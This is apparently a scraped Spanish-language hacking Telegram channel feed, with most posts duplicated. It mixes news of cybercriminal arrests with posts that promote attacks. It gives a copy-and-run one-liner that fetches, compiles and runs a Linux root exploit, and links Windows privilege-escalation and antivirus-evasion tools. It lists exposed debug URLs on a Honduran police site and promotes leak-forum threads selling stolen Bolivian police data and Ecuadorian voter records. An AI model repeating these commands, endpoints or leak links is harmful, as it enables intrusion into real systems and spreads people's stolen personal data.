This media is not supported in your browser
VIEW IN TELEGRAM
Un investigador logro demostrar como el navegador Edge
de Microsoft guarda las contraseñas de los usuarios en
texto plano en la memoria de tu ordenador.
https://x.com/L1v1ng0ffTh3L4N
GITHUB POC:
https://github.com/L1v1ng0ffTh3L4N/Proof-of-Concepts
#github #password #maldev
de Microsoft guarda las contraseñas de los usuarios en
texto plano en la memoria de tu ordenador.
https://x.com/L1v1ng0ffTh3L4N
GITHUB POC:
https://github.com/L1v1ng0ffTh3L4N/Proof-of-Concepts
#github #password #maldev
🔥16😁1
This media is not supported in your browser
VIEW IN TELEGRAM
MorphKatz ⚒️
Reescritor PE polimórfico para Windows x64, reescribe binarios en variantes
semánticamente idénticas pero con diferencias de bytes.
https://github.com/0xMohammedHassan/morphkatz
#maldev #bypassav #github
Reescritor PE polimórfico para Windows x64, reescribe binarios en variantes
semánticamente idénticas pero con diferencias de bytes.
https://github.com/0xMohammedHassan/morphkatz
#maldev #bypassav #github
❤10
Afiliado de Karakurt ransomware sentenciado a 8 años en prisión 🚨
Deniss Zolotarjovs (Денисс Золотарёвс), de 35 años, de Moscú, tenia el rol de negociador dentro de la extinta pandilla Karakurt y era uno de los mas despiadados y metódico a la hora de negociar y extorsionar a sus victimas aseguran los investigadores, Deniss fue arrestado en Europa del Este y extraditado en el 2025 por los EEUU.
Al parecer el FBI no le llevo mucho tiempo dar con Deniss gracias a los errores de OPSEC que cometió. Como error numero uno esta el uso de gmail para negociaciones con sus victimas, Deniss uso gmail para regitrar el correo Karakurtlair@gmail[.]com y se comunico con un periodista usando el correo de Protonmail ( anonymoux@proton[.]me) su correo de Proton tenia un correo de icloud para correo de recuperacion. A partir de hay los investigadores requirieron información de distintos servicios como ser Proton, Google y Apple para dar con Deniss Zolotarjovs.
Moraleja: "Deja de ser un cibercriminal estupido"
Deniss Zolotarjovs (Денисс Золотарёвс), de 35 años, de Moscú, tenia el rol de negociador dentro de la extinta pandilla Karakurt y era uno de los mas despiadados y metódico a la hora de negociar y extorsionar a sus victimas aseguran los investigadores, Deniss fue arrestado en Europa del Este y extraditado en el 2025 por los EEUU.
Al parecer el FBI no le llevo mucho tiempo dar con Deniss gracias a los errores de OPSEC que cometió. Como error numero uno esta el uso de gmail para negociaciones con sus victimas, Deniss uso gmail para regitrar el correo Karakurtlair@gmail[.]com y se comunico con un periodista usando el correo de Protonmail ( anonymoux@proton[.]me) su correo de Proton tenia un correo de icloud para correo de recuperacion. A partir de hay los investigadores requirieron información de distintos servicios como ser Proton, Google y Apple para dar con Deniss Zolotarjovs.
Moraleja: "Deja de ser un cibercriminal estupido"
🤣8😭8
Dirty Frag - Nueva vulnerabilidad para la escalada de privilegios en Linux 🚨
Hace algunas semana atrás se daba a conocer una nueva vulnerabilidad de tipo LPE (Local privilege escalation) llamada Copy Fail la cual afectaba a una buena cantidad de distribuciones Linux y que solo requeria algunas cuantas linea de codigo.
Esta semana salio otra nueva vulnerabilidad la cual permite escalar privilegios localmente y afecta a varias distribuciones incluyendo Kali :)
Sistemas afectados:
Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64
Onliner para ejecucion:
Compilación del source:
ESCALE N LOOT$$!!!
#exploit #lpe #linux
Hace algunas semana atrás se daba a conocer una nueva vulnerabilidad de tipo LPE (Local privilege escalation) llamada Copy Fail la cual afectaba a una buena cantidad de distribuciones Linux y que solo requeria algunas cuantas linea de codigo.
Esta semana salio otra nueva vulnerabilidad la cual permite escalar privilegios localmente y afecta a varias distribuciones incluyendo Kali :)
Sistemas afectados:
Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64
Onliner para ejecucion:
git clone --depth=1 https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Compilación del source:
gcc -O0 -Wall -o exp exp.c -lutil
ESCALE N LOOT$$!!!
#exploit #lpe #linux
policianacional.gob.hn exposición de información sensible 🇭🇳
WAF: Incapsula (Imperva Inc.)
https://servicios.policianacional.gob.hn/api/debug_weapon_api.php
PHPINFO
https://servicios.policianacional.gob.hn/api/simple_test.php
#leaks #honduras #fuckgob
WAF: Incapsula (Imperva Inc.)
PHPINFO
#leaks #honduras #fuckgob
😁6🤬2😱1
Mas Exploits para la escalada de privilegios (LPE) en esta ocasion
para todas las version de Windows, lo gracioso es que es una Vuln
de 2020 (CVE-2020-17103) la cual no fue parcheada o el parche fue
revertido segun los investigadores.
La vulnerabilidad afecta al controlador encargado de la
sincronizacion de ficheros en la nube para Microsoft OneDrive.
Codigo Fuente:
https://github.com/Nightmare-Eclipse/MiniPlasma
Release:
https://github.com/Nightmare-Eclipse/MiniPlasma/releases/tag/main-release
#lpe #windows #exploit #github
para todas las version de Windows, lo gracioso es que es una Vuln
de 2020 (CVE-2020-17103) la cual no fue parcheada o el parche fue
revertido segun los investigadores.
La vulnerabilidad afecta al controlador encargado de la
sincronizacion de ficheros en la nube para Microsoft OneDrive.
Codigo Fuente:
https://github.com/Nightmare-Eclipse/MiniPlasma
Release:
https://github.com/Nightmare-Eclipse/MiniPlasma/releases/tag/main-release
#lpe #windows #exploit #github
🔥9
Piratas informaticos fitran documentos internos de la policia boliviana 🇧🇴🏴☠️
Un grupo de piratas informaticos llamado RiseSociety los caules se autodenominan Hacktivistas han compartido 21GB de datos internos de la Dirección Nacional de Tecnologia y Telematica de la Policia Boliviana.
En los documentos se puede ver informacion sensible sobre el personal policial, torres telefonicas pertenecientes a la policia y diagrama de camaras CCTV.
Fuck da police!!!
https://darkforums.su/Thread-Leak-from-the-Bolivian-police-DIRECCION-NACIONAL-DE-TECNOLOGIA-Y-TELEMATICA-21GB
https://t.me/bgh_leaks
#fuckgob #bolivia #policia
Un grupo de piratas informaticos llamado RiseSociety los caules se autodenominan Hacktivistas han compartido 21GB de datos internos de la Dirección Nacional de Tecnologia y Telematica de la Policia Boliviana.
En los documentos se puede ver informacion sensible sobre el personal policial, torres telefonicas pertenecientes a la policia y diagrama de camaras CCTV.
Fuck da police!!!
https://darkforums.su/Thread-Leak-from-the-Bolivian-police-DIRECCION-NACIONAL-DE-TECNOLOGIA-Y-TELEMATICA-21GB
https://t.me/bgh_leaks
#fuckgob #bolivia #policia
🔥12❤1
🚨Las autoridades holandesas cierran servicio de Hosting Holandes 🇳🇱
Las autoridades Holandesas arrestaron a dos individuos acusados de administrar y vender infraestructura a cibercriminales rusos, según un informa de las autoridades la empresa MirHosting brindaba servicio de VPN y Proxys a diferentes grupos cibercriminales como ser el grupo Noname057 y pandillas de Ransomware.
https://www.fiod.nl/fiod-houdt-twee-verdachten-aan-wegens-overtreding-sanctiewetgeving/
Las autoridades Holandesas arrestaron a dos individuos acusados de administrar y vender infraestructura a cibercriminales rusos, según un informa de las autoridades la empresa MirHosting brindaba servicio de VPN y Proxys a diferentes grupos cibercriminales como ser el grupo Noname057 y pandillas de Ransomware.
https://www.fiod.nl/fiod-houdt-twee-verdachten-aan-wegens-overtreding-sanctiewetgeving/
🫡6🤔2
🚨 Importante miembro del grupo de piratas informáticos Chronus atrapado por la policía argentina 🇦🇷
Mediante su canal de filtraciones en Telegram miembros del grupo dieron a conocer la noticia que un miembro el cual operaba con el alias L0stex y decía ser lider de Chronus fue arrestado por la Policia Federal de Argentina.
L0stex fue una pieza clave en el grupo ya que fue el principal atacante de varios sitios gubernamentales en su mayoría argentinos, como ser la Policia de Entre Rios Argentina, Ministerio de Salud de Misiones y la Policía de Cordoba.
Recientemente el diario a Nacion informaba de la aprensión de una banda de Hackers las cuales vendían datos de Argentinos usando Telegram, según informa el diario se realizaron 11 allanamientos y se sospecha que entre esos 11 sospechosos se encuentra el lider de Chronus L0stex.
https://www.lanacion.com.ar/seguridad/cayo-una-banda-de-hackers-que-robaba-bases-de-datos-personales-y-las-vendia-al-mejor-postor-nid27052026/
#argentina #busted #chronus
Mediante su canal de filtraciones en Telegram miembros del grupo dieron a conocer la noticia que un miembro el cual operaba con el alias L0stex y decía ser lider de Chronus fue arrestado por la Policia Federal de Argentina.
L0stex fue una pieza clave en el grupo ya que fue el principal atacante de varios sitios gubernamentales en su mayoría argentinos, como ser la Policia de Entre Rios Argentina, Ministerio de Salud de Misiones y la Policía de Cordoba.
Recientemente el diario a Nacion informaba de la aprensión de una banda de Hackers las cuales vendían datos de Argentinos usando Telegram, según informa el diario se realizaron 11 allanamientos y se sospecha que entre esos 11 sospechosos se encuentra el lider de Chronus L0stex.
https://www.lanacion.com.ar/seguridad/cayo-una-banda-de-hackers-que-robaba-bases-de-datos-personales-y-las-vendia-al-mejor-postor-nid27052026/
#argentina #busted #chronus
🕊9🤣9🫡2
Recursos para usar varias técnicas Living Off the Land (LOTL) 🛠
https://lolol.farm/
#tools #recursos #lotl
https://lolol.farm/
#tools #recursos #lotl
❤10👍2😱2
Piratas informáticos logran piratear el sistema electoral ecuatoriano CNE 🇪🇨
Un pirata informático que opera bajo el nick GordonFreeman y que trabaja en conjunto con L4TAMFUCK3RS un grupo conocidos por atacar instituciones gubernamentales latinas a logrado acceder a los sistemas del Consejo Nacional Electoral (CNE) de Ecuador y por lo que se ve en los Previews de Post en DArkforums se puede ver que han logrado acceder por completo a la base de datos en la cual se almacenan información de votantes ecuatorianos.
Los piratas están exigiendo 4 BTC en caso de fallar la negociación los piratas dicen realizar un borrado permanente de sus bases de datos.
https://darkforums.su/Thread-DATABASE-Full-SSH-Acces-to-CNE-GOB-EC-Electoral-Registry-DB-2026-13-5M-Valid-Voter-Records
#ecuador #fuckgob #foro #latamfucker
Un pirata informático que opera bajo el nick GordonFreeman y que trabaja en conjunto con L4TAMFUCK3RS un grupo conocidos por atacar instituciones gubernamentales latinas a logrado acceder a los sistemas del Consejo Nacional Electoral (CNE) de Ecuador y por lo que se ve en los Previews de Post en DArkforums se puede ver que han logrado acceder por completo a la base de datos en la cual se almacenan información de votantes ecuatorianos.
Los piratas están exigiendo 4 BTC en caso de fallar la negociación los piratas dicen realizar un borrado permanente de sus bases de datos.
https://darkforums.su/Thread-DATABASE-Full-SSH-Acces-to-CNE-GOB-EC-Electoral-Registry-DB-2026-13-5M-Valid-Voter-Records
#ecuador #fuckgob #foro #latamfucker
😱3❤1👍1🤯1
Forwarded from Proxy Bar
Windows Win32k Elevation of Privilege Vulnerability (CVE-2021-1732): Walkthrough of the ConsoleControl Offset Confusion
Original text: “Windows Win32k Elevation of Privilege Vulnerability (Win32k ConsoleControl Offset Confusion) — CVE-2021-1732” — Safe Security research paper (June 3, 2021). Figures and commands below are reproduced verbatim with attribution captions.
Executive Summary
CVE-2021-1732 is a Win32k local privilege escalation vulnerability in the Windows graphics subsystem driver win32kfull.sys. The flaw, also referred to as…
https://core-jmp.org/2026/06/cve-2021-1732-win32k-consolecontrol-offset-confusion-walkthrough/
Original text: “Windows Win32k Elevation of Privilege Vulnerability (Win32k ConsoleControl Offset Confusion) — CVE-2021-1732” — Safe Security research paper (June 3, 2021). Figures and commands below are reproduced verbatim with attribution captions.
Executive Summary
CVE-2021-1732 is a Win32k local privilege escalation vulnerability in the Windows graphics subsystem driver win32kfull.sys. The flaw, also referred to as…
https://core-jmp.org/2026/06/cve-2021-1732-win32k-consolecontrol-offset-confusion-walkthrough/